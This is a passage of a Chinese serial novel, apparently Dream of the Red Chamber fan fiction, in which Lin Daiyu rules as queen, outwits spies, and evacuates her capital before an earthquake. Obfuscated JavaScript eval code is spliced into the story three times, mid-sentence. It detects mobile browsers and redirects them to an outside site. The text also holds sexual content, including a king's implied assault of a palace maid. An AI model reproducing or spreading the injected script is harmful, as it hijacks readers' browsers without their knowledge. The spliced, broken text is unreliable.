朝堂百司负责辅佐国王处理军政农工商及外务,成员皆由层级考选拔擢,无有荫庇、卖官之便。 而王室内廷则是专门服务于国主的班底,历任国主卸任或辞世后,原来的班底也就随之解散,新任国王将重新组建自己的亲信嫡系。 黛玉成为国王的第一件事,就是将北戎部曲安排进王室内廷,充任虎贲护卫,由永龄担当虎贲统领,委派苏清源做督军教头。 其余管理冠服的缀衣使、负责车舆的趣马使、提调人事的庶府使、以及料理宴饮的膳厨使,则张榜对外征召。 与其他国王招募内务使,三年一选,五年一出的惯例不同。 黛玉要求所有应征的未婚内务使,供职到五十岁,并有机会与虎贲卫结为对偶婚,所生子女均有读书识字的机会。 年满五十岁的内务使卸任后,亦可在宫外居养院安享晚年。 也就是说只要能进入王室内廷服务,不但有稳定的薪俸,还包婚配、子女教育、养老。这对于女多男少的茜香国百姓而言,实在是重大利好消息。 因此,应募投考者众多,人数远超竞选国王的人数。 经过严苛的户籍勾稽、身体检查、技艺展示及礼仪培训,三千人通过初选,等待最后的复选。 晴雯成为首席考官,围绕“情”字设计了许多巧妙的问题,来窥探对方进入王廷的真实目的。 果然,越是各方面表现优异的应征者,越有可能是各方势力派遣的间谍。晴雯整理了间谍名录,交由黛玉裁夺。 黛玉先将技艺优秀、目的单纯者,安排到各处的重要位置,国内豪门大族、阀阅之家试图安插进来的耳目全部退回。 在海西国、真真国、扶桑国、佛朗机国各选了一个其貌不扬的间谍留用,分配在边缘地带司职。 适当时候,黛玉会让亲信给他们透露一些虚假情报,让他们传回各自的母国。诚然,这些人是不允许婚配的。 最为重要的王廷岐黄司,自然由晴雯典掌,晴司长负责黛玉的健康,同时统管五岛十州的医坊药庐,定期巡视义诊,不断向百姓推广养生保健之法。 苏合香及其他考选进来的疾医,则专责服务于虎贲卫及内务使。 至于记录帝王燕亵的春录使,虽然一时还用不上,但只能由紫鹃担任了。 朝堂百司中除了宗伯一职空缺,其他九卿都在堂。 黛玉深知茜香国作为一个遐域岛国,外务捭阖十分重要,若一时没有合适人选,她就继续兼任大宗伯。 真宰相总理经济、军政,黛玉为她添了两个副手,一个是举荐人才的左徒星月,一个是出谋献策的参军栗花。 又将尚凌风提拔为大司寇,原大司寇则平调为大司士,负责纠察百官。 游击将军关千雪擢升为少司马,协辅大司马程荣秀,负责兵马战事调度。 再增设司乐一职,典掌礼乐学政科技,目前虚位以待。 其他负责土木工程水利建设的司空、主管户籍钱粮赋税徭役的司徒等要职,则维持原状,未曾调整。 一个月后,茜香国国主建制完成。 因宗主国战事未央,国王登基履新之庆,一切从简。 黛玉也收到了禛钰在百忙之中书写的祝颂之词,将其装裱挂在了寝殿内。 苏清源每每看见,都觉得心头堵得慌,他猜到了林思政的情郎,是华夏上国的储君禛钰。 那个给他喂了迟春丸的男人,之所以敢把他这个异国皇子,留在自己心爱的姑娘身边,打的就是让他充当“挡箭牌”的主意。 茜香国女王登基后,诸臣工见她措置王室内廷,允许内务使永续尽职,并且终身对偶婚配,大有培植世仆的意思。各方势力试图安插人手进入内廷,都被精准筛出,无一侥幸。 人们不由纷纷揣测,新女王是否想终身履任。若想终身当女王,就必须在崇政殿上当众立誓,将以童贞之躯为茜香国服务终身,自然就不会有人向女王进献美男了。 眼下王室内廷防护得如同铁桶一般,若想窥探女王的秘密,影响女王的决策,只有贡献男宠这一条路径了。 在好奇心地驱使下,尚凌风撺掇大司士赶在要散早朝之前,试探年轻绝美的女王,是否要安排立誓仪式。 手握权杖的林帝坐在高高的王座上,王冠上的珍珠随着她转盼之间,流光摇曳,耀人眼目。 黛玉容色微赧,略一思忖,抬眸淡笑道:“朕未断燕好之欢,爱狎佳郎。” 一语既出满朝哗然,她们风姿绰约,玉润冰清的女王,竟然、竟然…… 她盈然清冽的眼眸,端秀矜持的步态,仿佛云端仙女不染凡尘,实在不像是有过情史的女人。 宰相真如密当即变了脸色,据她所知黛玉还未出阁,林如海这些年怎么教女儿的。 那个让玉儿偷咬情钩,私堕爱网的坏男人是谁? 一个模糊的影子从心尖闪过,她左思右想,竟抓寻不到…… 女王既然坦言相告,五岛十州的豪族阀阅就开始蠢蠢欲动了,四处搜罗美男,抢购娈宠。 很快紫鹃这个闲置的春录使就忙得团团转起来,每天要登记大量被进献入宫的男子,夜里捧着他们的名签画像,让女王点选召见。 黛玉早有所料,为了避免琉璃岛上的豪族阀阅,以贡献美男为契机,干涉内政,以私害公。 她就把督军教头苏清源,拉出来搪塞,对那些敬奉俊男的贵妇说:“朕眼光高标,非绝色不近,尔等所献美人,还不及苏教头一个零儿。朕不愿屈就庸夫俗子,你们只把人牵出来,与苏教头一较姿颜,犹有逊色者,还请归去来兮。” 于是紫鹃每日的工作内容,就是翻来覆去地夸赞清源之美,挑剔美男之瑕。 从此苏清源成了美男公敌,但凡出宫一次,就被人设计暗杀毁容千百回,若非他一手剑术出神入化,只怕早就残容败颜,身首异处了。想要传讯给扶桑旧部,竟是半点机会也无。 然而美艳绝伦的苏清源,顶着女王男侍的虚名,根本不能近她三尺之内。 黛玉本就政务繁忙,一直盯着西海动向,严控海峡港口,牵制真真国的舰船,避免其驶向中原粤海闽南一带。 然而她心态平和,遇到再难再急的事,都没有多余情绪。在王廷中起居有时,饮食有节。即便日理万机,也保障作息有常。 晚间黛玉批完奏折稍事散步,一般就要沐浴安寝,春录使会把苏清源请进女王寝宫,给他半个时辰讨女王欢心。 若女王许他伺候枕席,她就在彤史上记一笔。若女王独自睡去,她就会请苏清源出去。 苏清源使出浑身解数,取悦女王。不得不说,他吹箫鼓瑟的技艺,亦如他的剑术一样,登峰造极悦耳动听。 黛玉偶有兴致就侧躺在龙榻上,支颐一赏。可往往他吹弹上一小段,她就眼皮下垂,头一触枕,悄然睡去。 只把苏清源气得几次折了玉萧,断了琴弦,而后无一例外地被紫鹃给“请 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13268197|127102||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ”了出去。 他也尝试着言语攻心,可说再多的甜言蜜语,女王只是一笑了之,照旧倒头就睡。 苏清源不甘心,又没奈何,一对上女王的芙蓉面,该硬的地方登时疲软如绵,哪怕侥幸登上龙榻,也不过自取其辱罢了。 好厉害的诛心术,让他离她这样近,又相隔这样远,夜夜难眠空辗转。 那时窥见的藤缠树影,让人神魂荡漾的娇音,纵情恣意的厮磨,心脏骤跌的狂躁,如梦魔一般,在每个寂寞空虚的夜晚钻进他的脑海里,让他臆想出无数个只属于他的缠绵韵事。 可他卑鄙无耻的妄念中,依旧无法想象,那一双清莹秀澈的含露目,在爱狎佳郎的时刻,会染上何等艳色。 四月的晨光,照破他不为人知的狼狈,每天睁眼一裯秽浊,除了满腹愤懑郁卒,什么也得不到,太折磨人了。 再次恶狠狠地操练了虎贲卫一整天,顶着“夺命阎罗”、“残忍妖孽”的骂声恶咒,苏清源再有不甘,一到酉时依旧雷打不动地焚香沐浴。 而后摆出一副“老子天下第一美”的骄矜狂样,站在女王寝殿前,当筛人的“标杆”去了。 就算不能拥被夜话,好歹见面三分情,日拱一卒,功不唐捐。 谁知春录使紫鹃笑盈盈地告诉他:“陛下今晚召见故人,苏教头不用来了。” 苏清源脸色骤变,眉头紧拧,眼神惊怒交加,咬牙道:“他来了?” 据他所知,鞑靼人已经越过方成紫塞,此时的禛钰应该疲于应战,根本无暇他顾。莫非忌惮自己这个“标杆”,才特意过来示威? 紫鹃笑而不答,吩咐左右阖上了寝殿的门。 再高大的门也挡不住他的好胜心,不过片刻功夫,就顺利钻进了寝殿内帏。 却见女王冠服端肃,粉面含威立在窗前,对人说话。 “你在女儿国已窥全豹,见识到了裙钗不弱须眉,那些你深恶痛绝的党同伐异、欺软怕硬、草菅人命、徇私枉法,种种丑恶不公,女儿世界与男子世界其实别无二致。人间就是弱肉强食,物竞天择的地方。而你一味逃避现实,虚捉水月,空挹镜花,又有何用?” 一个才蓄了寸长头发的青年,通身锦衣华服也不掩落拓萎顿之气,他双眼迷茫,呆呆地看向女王,欲辩忘言。 黛玉对宝玉失望透顶,一事无成,半生潦倒也就罢了,怎么还生出如此荒唐可笑的念头。 “而今中原正遭风云之变,贾府式微,你不孝双亲,寸功未建,有何颜面苟图衣食,做我裙下臣!” 宝玉两手抓起头上短鬓,自怨自嗟起来:“是我没用,既无坚心,又无贵气,吃不得苦,受不得罪。我也是没办法才投奔来了。” “你既痛下决心抛家弃俗,就该识破迷津,安贫乐道,不离佛戒。你若舍不得锦衣纨绔、饫甘厌美的日子,就回去成家立业。不要再首鼠两端,辗转不决了。”黛玉言尽于此,唤来紫鹃,打发他一些衣食盘缠,送他出宫。 宝玉回望威严可畏的王宫,实在无法将记忆中娇俏可爱的林妹妹,与此时叱咤风云的女国王联系在一起。 他走在王廷漫长的甬道上,一路惭愧悲号,切实感受到兴衰际遇,人非物换的无情。深悔痛怨,这娑婆世界,不如不来的好。 黛玉静对窗外,调息片刻,面对旧人,还是难免牵动情绪。但愿宝玉这一去,能痛改前非,彻底醒悟。 她唤来紫鹃问:“是谁举荐宝玉来当男侍的?” 紫鹃道:“是真宰相。” 黛玉摘下王冠,坐回榻上,望着案前的灯火,陷入了沉思中。 132.吾皇黛玉第一百三十二回 心牵挂衣里传密意,举伏祭暗中护百姓 之前征召内务使时,真如密向内廷输送的间谍人数最多,黛玉拿到晴雯筛选的间谍名单时,还有一丝不可置信。 但此时真如密公然将手伸进女王后宫,与其说是投“石”问路,不如说是眈眈虎视。 自古以来,但实行分封建制的君主专政之国,就少不了王权、相权之争。 茜香国史无前例的采用了君主选拔制,是君臣共和执政的国家,女王只是形式上的国主代表。 至少前三任女王,其权柄、声望都在真宰相之下,说是傀儡也不为过,莫非真宰相想故技重施,争功于己,诿罪于王,再度架空王权? 黛玉正自蹙眉沉思,窗外响起了一阵清啸,她忙走到窗口,从游隼足下打开竹筒卡扣,展开字条看。 一时眼晕,两颊越来越热,将字条捂在胸口,坐回榻上。 这个不要脸的臭男人,问他中原战况如何,他用琴谱写什么“提刀鏖战几千场,倾倒玉山半衾湿。桃戈擎起难摧折,梦雨润地羞人知。含情遥夜恨别离,枕畔长泪流成诗。借卿心头方寸布,但求丝缕慰相思。” 战火纷飞之时,还有闲情做·春·梦写艳诗,想必局势全在他掌握之中。 黛玉咬了咬唇,红着脸解下胸前诃子,叠成小小的一块,塞进一个鸦青色的荷包里,只言片语也不敢留。 唯恐绑在游隼足下不牢固,用墨绳缠了一道又一道,才把信使放走。 苏清源瞧见女王的窗口,有游隼高飞远举,目光阴恻恻地闪动着。 正欲抬起臂弩“斩”了信使,被一道隐约的白光晃了眼,手臂滑落下来,猛地意识到那是什么,还没看分明,两湾鼻血已经飙了出来。 喉头抖动间,女王已经系好了衣襟。苏清源正自遗憾得不得了,又有一只鹰隼抓携着一个包袱,飒然扑翅而来。 若非苏清源果断舍弃手背上的一点皮肉,逃得飞快,那一双漂亮的狐狸眼儿,差点就成鹰隼喙中餐了。 “怎么又来?” 黛玉疑惑地解开那个包袱一看,竟是一件鞑靼人穿的红色短衣鄂多赫,里面写了“五时衣”三个字。 想到禛钰有着精准的预知力,但不能轻泄天机,前信未复,又匆忙送了这个东西来,一定有所暗示。 黛玉在殿中踱步思忖,鄂多赫汉译为“马褂”,是便于士兵骑马穿着的短衣。 “五时衣”是五时衣是应季之服的颜色,春青,夏朱,季夏黄,秋白,冬黑。 这件马褂为朱红色,也就是说重要的时间节点会在夏季。朱为朱雀,意为南方。 衣中褂,会不会是“卦中意”? 为了更明确了解禛钰要传递的要事,黛玉立刻沐浴更衣,登上王廷最高的观星楼,开始虔心卜卦,卜出了震卦。 “震”数七,七日得者也。 震卦,正是易经六十四卦中的五十一卦,与“午时衣”谐音。午马又与马褂相呼应。 黛玉很快想明白了,原来禛钰是提醒自己,茜香国七天后午时,在正南位即将有地动之灾,让她早做准备。 茜香国王都就位于琉璃岛的正南方向,午时又是百姓人家午歇的时辰,若遭地震,只怕逃之不及,死伤无数。 她才登基为王,王都就遭受地震,怎么看都像是不祥之兆,若被人借此发难,她的王位就坐不稳了。 只是地震之事,关乎性命,又不能泄露天机,以免引起不必要的揣测和恐慌。 倘若直接预警,之后地动的时辰地点有所偏差,反而有损朝廷威信,让百姓怀疑,从此有令不从。 七日之后正是入伏之期,她需要另想办法挽救生民之命。 当茜香国女王为海隅苍生,殚精竭虑的时候,真真国的国王安德森,正气急败坏地向他的情人咆哮着。 “静,你的占卜又错了,你只算得准我要吃的什么菜,睡了谁家的夫人,为什么一到林思政头上,你就一个也算不准!” “你说在苍梧乡杀掉她可以永绝后患,到头来人没杀掉,却损了我百余精兵。你说我会在中原近海打一场胜仗,可是我的舰船,都闯不出西海!” 眼前红发高鼻的男人,松松垮垮地披一件丝绸袍,露出茂密的胸毛,浑身散发着让人胆寒的戾气。 躺在床上养伤的章静,唯恐他发怒,滚爬下地,小心为自己申辩。 “安德森陛下,林思政是死过一回的人,天命已改,即便是天下最厉害的星相师,也无法窥看她的命运。” “可恶!”安德森耙了耙一头红发,两手攥成拳,恶狠狠地说:“那个狡猾的林思政,明面上继续遵守‘民间不得擅造二桅以上大船’的国策,却将海师中的三桅以上大船,全部出借给渔民,让她们在远洋渔场捕捞作业,几乎封锁了航线!” 若要舰船以武力冲出茜香国的渔场包围圈,谁能保障攻打中原的炮弹够用呢! “陛下,还请稍安勿躁,不久之后茜香国的王都会连震数次!” 此言一出,安德森立刻两眼放光,眉飞色舞,嗓音都柔和几分,“静,你说的是真的吗?” “绝无意外!”章静底气十足,眼冒毒光,轻抚着胸前的伤口,阴笑道:“突发灾祸,林思政只会将大船拉回来,把全部精力投入到赈灾之中。我们只要派人散布林思政是祸国妖孽的传言,她将饱受广土众民的质疑和咒骂。到时候她自顾不暇,哪里还有心为华夏屏藩,届时陛下的舰船就可以在近海长驱直入了。” “哦,亲爱的静,你真是我的甜心!”安德森心情大好,将女人抱上了床,一双碧色的瞳孔,闪烁着亢奋的光,两只大手在她裙下来回摩挲。 章静万分不安,强忍着扑面而来的狐臭味和恶心感,微微侧头,继续与他虚与委蛇。 “陛下,虽然我也很想成为你的女人,但身为占星师,一旦失去贞洁,就很难预测准确了。” 这是她唯一能为禛钰守住的底线了,她一定会如父亲的预言一样,成为母仪天下的女人,岂会甘心伺候这只愚蠢又狂妄的红毛公犬。 安德森只得悻悻作罢,在她腰际捏了一把。 章静眼睫闪烁,将安德森轻轻推开,狡黠一笑,“比起蒲柳之姿的我,茜香国的女王,那个让你气得咬牙切齿的女人,才是人间绝色呢。” “听说她的姿容不错,可是比起聪明的女人,我更喜欢笨蛋美人,娇弱的她们只会在我怀里求饶,而不会向我捅刀子。” 贪花的安德森,显然吃过几次大亏,对于精明能干的女子,他有着十足的警戒心,包括眼前这位薄有姿色的占星师。 若非忌惮她的一点神通力,安德森早就将人吃干抹净了,哪里还容得她善自为谋,身在曹营心在汉。他看起来愚鲁实则极有心机。 章静再次用言语蛊惑他:“只要陛下赢得了近海之战,俘虏了中原郡王,宣隆帝必不肯两线作战腹背受敌,只会忍辱求 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13327548|127102||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 和。 到时候陛下向宣隆帝求娶华光公主,太子必然舍不得自己的妹妹和亲,会坚决拒绝。 那你就退而求其次,将和亲对象改为藩属国的林女王,他们就不好再拒绝了。 对于宗主国而言,茜香国实在是弹丸之地,弃之不惜。你若娶了林思政,就可以侵夺盐浦的银矿,佳人与财富双丰收,岂不美哉!” 一番话成功挑动了安德森蓬勃的野心,他满胀的情绪无处发泄,抓起一名前来为章静送药的宫女,当场一奋雄威,在那可怜的宫女身上大张挞伐起来…… 章静望着枕畔笑容诡异、衣衫破碎的布娃娃,长舒了一口气,她又算准了,及时为自己找到了替罪羊。 翌日清晨,茜香国崇政殿上,就如何避免地震伤亡一事,黛玉拿定了主意。 她先颁布了一道政令。 “此前无偿租借三桅大船给百姓远航海捕,已有月余,一则为捍蔽华夏航线,二则为渔民丰收。六日后便是入伏之期。大禹曾言‘夏三月川泽不入网’,为保护鱼苗蕃息繁衍,理当休渔三月,加上夏季多飓风,不宜远航,明日就将海师大船召回入坞。” “是!”大司马程荣秀领命。 真如密持笏向前一步,道:“陛下,若撤回大船,真真国的舰船必然会袭扰中原近海,迫使王师首尾受敌。” 黛玉摩梭着宝石权杖的手柄,拇指微微扣紧,道:“朕已去信滇南王沐昭宁,借道暹罗出海口,屯兵海上守边,真真国舰船一旦稍有越境之举,滇南王便会出兵牵制。” 虽然她也知道沐昭宁格外惜命,不大可能让他统辖的滇南水师与真真国的舰船硬碰硬,只会出工不出力,但也好过近海无屏,能拖一时算一时。 真如密从前吊祭先代滇南王时,与沐昭宁有过点头之交,只记得那个少年虽为父王哭得伤心,一面嚎啕不止,一面还不忘往嘴里塞玫瑰花饼,看起来不像是很靠谱的人。 她刚想向陛下谏言,让程荣秀领兵巡航海上,就听到黛玉向满朝百司提议。 “古时有‘伏祭行于夏’之俗,朕欲于伏日午时,在北海湾海滩祭海,祈盼一年风调雨顺,渔业丰收,并分祭肉于王都之众,以示亲民,人海相谐,众爱卿以为如何?” 掌管户籍钱粮的大司徒出列说:“启禀陛下,自盐浦银矿开掘以来,国库充盈,举办伏祭未为不可,只是筹备仓促,恐不能尽善。” “无妨。”黛玉早已理出头绪,有条不紊地道:“此时伏祭,朕不打算动用国库之银,尽发内帑钱物,采办杂料,数日即可齐备。 头一件是防暑遮阳,需搭棚数千,由疾医携带消暑、跌打丹散膏丸备用;第二件,准备车辆接送老弱病残,提供软榻衾褥方便歇足休息;第三件,祭肉、干粮及饮用水要充足,力求人均有三日之分;第四件,每十户设两户长,列队首尾维护行路安全,手持彩旗为号,绿旗前行,红旗停步,黄旗等侯掉队者,避免拥挤踩踏。如此方无阙事矣。” 众臣见女王心思缜密,措置得当,异口同声地山呼“陛下英明”。 黛玉见最重要的事已经吩咐清楚了,什么祭海文、祭祀仪轨、余兴表演便交由真如密统筹安排,星月、栗花二人专职佐协。 听闻新任女王自己掏钱,要在北海湾海滩,分发祭肉给民众,还有庆祝表演活动,王都百姓没有不欢呼雀跃,奔走相告的。毕竟一年到头能吃上肉的日子屈指可数,这会可得好好沾一沾女王的光。 133.吾皇黛玉第一百三十三回 林女王温柔恤百姓,真宰相恼恨改情书 入伏之日,王都的清晨醒得格外早,家家户户男女少壮背篓提篮,扶老携幼,由户长旗帜指引,浩浩荡荡压地人山一般,往北海湾走去,参加伏祭。 黛玉寅时初刻就起身,梳上繁复华丽的望仙九鬟髻,额前点了珍珠花钿,霞晕双颊,香染冰肌。 在落地西洋镜前,穿上重绣层叠的拖摆曳地礼裙,肩披夹缬红帛,袒领半掩胸前雪,纤腰束起玉带钩。 光艳夺目的女王迎着日出,端坐龙辇,鸣锣张伞出宫,道路两旁都是绵延不断地人流。 在朝廷百司拥侍下,陛下的龙辇先行,宫娥两旁捧花徐行,广土众民逶迤在后,一带摆百里远。 及至北海湾海滩上,彩棚高搭绵延千里,几乎覆盖了整个海岸线。 长棚之下都有设席张筵,摆着丰盛的祭品,琳琅满目的祭肉、鱼糕、芋粥、煎饼,都堆成了小山,大葫芦里都灌上消暑的酸梅汤与绿豆汤。 临近未时,栗花汇报:王都之中除了数十位临盆孕妇、卧床老病者不宜挪动,无法前来,其他百姓都已经陆续到达海滩了。 黛玉不忍放弃那些被留在家中的人,命令督军教头苏清源领着五十名北戎精英,携带祭肉及饮食,带上十位疾医及载舆,留守在王都民舍区,防火巡盗,照顾孤弱。 苏清源哪肯离开女王半步,以燥热鼻衄、失血过多为由,拒绝领命。黛玉瞪了他一眼,转头将此重任交给了永龄,拉着她的手,叮嘱了许多话。 永龄颇有学武的根骨,虽说起步晚,但身形灵活,轻功卓绝,但愿她在保全自身的前提下,尽可能多地救出一些人来。 午时,黛玉登上木板搭的祭台,面向大海,利用洪音贝壳念诵祭海文,眼前波涛滚滚,随着慷慨激昂的祭文,海水泛涨,有万马奔腾之状。 百姓们震撼于人海呼应的奇观,感慨女王受命于天,根本没意识到是地震的肇始。 主持完祭海仪式,美丽的女王款款走下祭台,亲自向在场的耄耋老人敬果酒,赐予长者寿杖、团扇,又俯身向孩童分发糖果,再向身怀六甲的妇人,赠送缯绮、百衲衣等。 百姓受到女王眷顾,无不动容赞佩,欢欣鼓舞。 田夫野老初谒女王,如见天人,不敢直视,个个低头敛目。 也有那大胆的青年男子,费尽心机挤到前排,亦或是高叠罗汉,翘首瞻望女王的姿容。 随后伏祭庆典启幕,人们载歌载舞,自发开展了拔河、相扑、鞠球游戏,整个北海湾充满了欢乐的氛围,哪怕沙滩微晃,也没有几人在意。 潜伏在茜香国的数十名间谍,接到要造谣生事攻讦女王的密令,却发现王都十室九空,静谧至极。 市井之中有几队人马,顶着烈日在街衢中徼巡无怠,他们稍一现身,就会立刻遭受盘查。 就是想散布谣言,也找不到传话的对象,只得闯空门躲在一处民宅中。 轰然一声,街道两旁民舍屋顶上的琉璃赤瓦暴响,顷刻间矮墙哗然倒塌,黄尘飞腾。 永龄急忙兜转马头,躲避落瓦断墙,才知道是地震了,扬声疾呼:“地震!地震!快救人!” 不过数息之间,连排成片房屋坍圮,廨宇倾覆,或有平地高拱,或有路面拆裂,不少民舍歪倒,陷入地中。 待到地晃歇止,南城低矮民居几乎荡然无存,以至于许多官员府邸也未能幸免。 好在官民都随女王祭海去了,留守家中的人不多,虎贲卫立刻挖掘废墟,搜救生还者,疾医担着载舆四处救治伤患。 永龄平生第一次遇上震灾,惊惶之余,难免六神无主,好在她及时回想起了黛玉的嘱咐,忙遣派两个人将地震情况汇报给女王。 她找到一处开阔平坦的地段,命人张棚搭帐,收容伤患。 万幸她们带来的饮食药剂都很充足,不至于左支右绌,应接不暇。 黛玉收到了地震发生的消息,担心余震未了,若百姓急于回家抢救亲人物资,又恐遭不幸,于是对外封锁了消息。 命令栗花回到王都,将留守人员名单及住址提供给巡逻队,协助搜救。 让星月继续引导百姓游乐,开设彩舟竞渡比赛,钓鱼比赛、蹴鞠比赛,吸引众人的视线。 到了傍晚,海滩上又燃起了篝火,架起了烤架,鲜咸椒酥的烤肉,散发着浓郁甘醇的油脂香,那些想要回家的百姓又折返回来,反正有帐篷有被子,就在海边睡一夜也使得。 到了晚间,永龄比照栗花提供的留守人员名单,结束了搜救任务,回到海滩向黛玉禀告。 “陛下,所有临盆的孕妇及病患全部找到,重伤者五人,死者六人,还有三个产妇在帐篷中平安生产。” 黛玉抚着胸口,舒了一口气,虽说伤亡难以避免,可这已经是她能做到的最好结果了。 翌日清晨,黛玉用洪音贝壳向百姓说明了地震情况,劝勉他们鼓起勇气重建家园,凡是房圮之家皆有赈济,凡有伤亡之家皆有抚恤,海滩上依旧保留帐篷供人居住,每日提供食物供大家食用。 真如密这才得知王都南城发生了地震,她的府邸也只剩一片瓦砾。 而女王已经不动声色地处理好了救援赈济抚恤等工作。 百姓们得知家园被毁,哪有不痛惜的,好在保全了性命,又有临时棚居,不至于流离失所,茫然无助。 “多亏女王带领大家祭海,感动了上苍,我们才得以活下来,天佑女王,天佑茜香!” “若不是女王筹备得齐全,我们还不知要到哪里安身。女王真是我们的福星啊!” “谢天谢地谢女王,咱们一家得以保全性命,活着就有希望。” 自此黛玉带领着朝廷百司,全力投入到震后南城民居家园重建中去。 在修复道路的过程中,又发现了数十名青壮年的尸体,王都百姓经过辨认,都不认识他们。最后只能当做流民处理,埋入公墓中。 这时候,真宰相当着一众百司的面,向女王提出了一个请求:“陛下,臣孑然独居,府邸被毁,无处栖身,还望女王允我入住王廷,随侍左右。” 黛玉实在猜不透真如密急于探究她,到底有何目的,不妨借此机会摸清底细,便笑道:“也好,咱们君臣恰好可以同榻而眠,共商国事。” 闻言,真如密喜不自禁,忙道:“臣谢主隆恩。” 自从女王与真如密同寝同食以来,就有了充分的理由谢绝男侍陪寝。 苏清源恃才傲物,我行我素,黛玉气他不听指令,也借此机会将其男侍身份除名,严禁他踏入寝宫一步。 虽然苏美人有本事溜进寝宫窥视,到底还是名不正言不顺,加之有鹰隼日夜监护在窗外,他也近不得女王的身,受过几次皮肉伤后,未免俊脸被毁,再也不敢混钻了。 真如密十分亲近女王,只要出了崇政殿,回到寝宫,便对黛玉改口称“玉儿”,黛玉也只好唤她“真娘 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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他们已成夫妻,奈何却不容于世,每每相见,竟似偷期艳会,文字越是轻薄狂浪,心中越是悲苦失落。 黛玉拥住满纸荒唐,对灯独坐了许久,不觉伏在案上朦胧睡去。 隐身在屏风之后的真如密,轻轻唤了几声“玉儿”,见她真睡熟了,便掩嘴蹑足走过去,翻看那些密信。 古琴谱世上能解者不过七人,真如密恰是其中之一,只是这宫商角徵羽混杂排列,实在不成曲调。 真如密遥想过去,玉儿三岁识字,五岁能诗,还编过一本《水石清华》童谣集。 她时常怀抱女儿,教她习琴,母女俩一边歌咏,一边拨弦,琅然幽韵,岁月静好…… 忽然她心有所悟,心念电转,将宫商角徵羽照着记忆中的童谣一一比对,终于破译了密信。 原来这不是什么机密,而是情书。再看那些近乎邪僻的风流文字,真如密心脏怒跳,忍不住眉头皱紧。 禛钰,那个眼盲心瞎的男人之子,分明对她的玉儿始乱终弃。 玉儿好不容易成为茜香国的女王,他在戎马之间,还不忘引逗撩拨。 可怜她的宝贝女儿情执不悔,被人玩弄践踏至此,竟不肯醒悟! 一想到莫名遗失的诃子,正拿捏在禛钰手中,真如密恨铁不成钢地在黛玉睡穴上一拂。 她拿起笔,仿着女儿的笔迹,用琴谱编了一句极尽讽刺的绝交语。 “佳郎陈榻,方知餍饱。君家虽好,寸短尺小。已结新欢,情断两安。” 回望盘旋在窗外的游隼,真如密悄然藏身在阴影里,两指夹着信笺,只露出一只手来。 那游隼见黛玉伏在案前,果然徐徐飞来,乖巧地停栖在窗台上。 真如密将信笺塞进竹筒里,目送游隼消失在暗夜里…… 134.吾皇黛玉第一百三十四回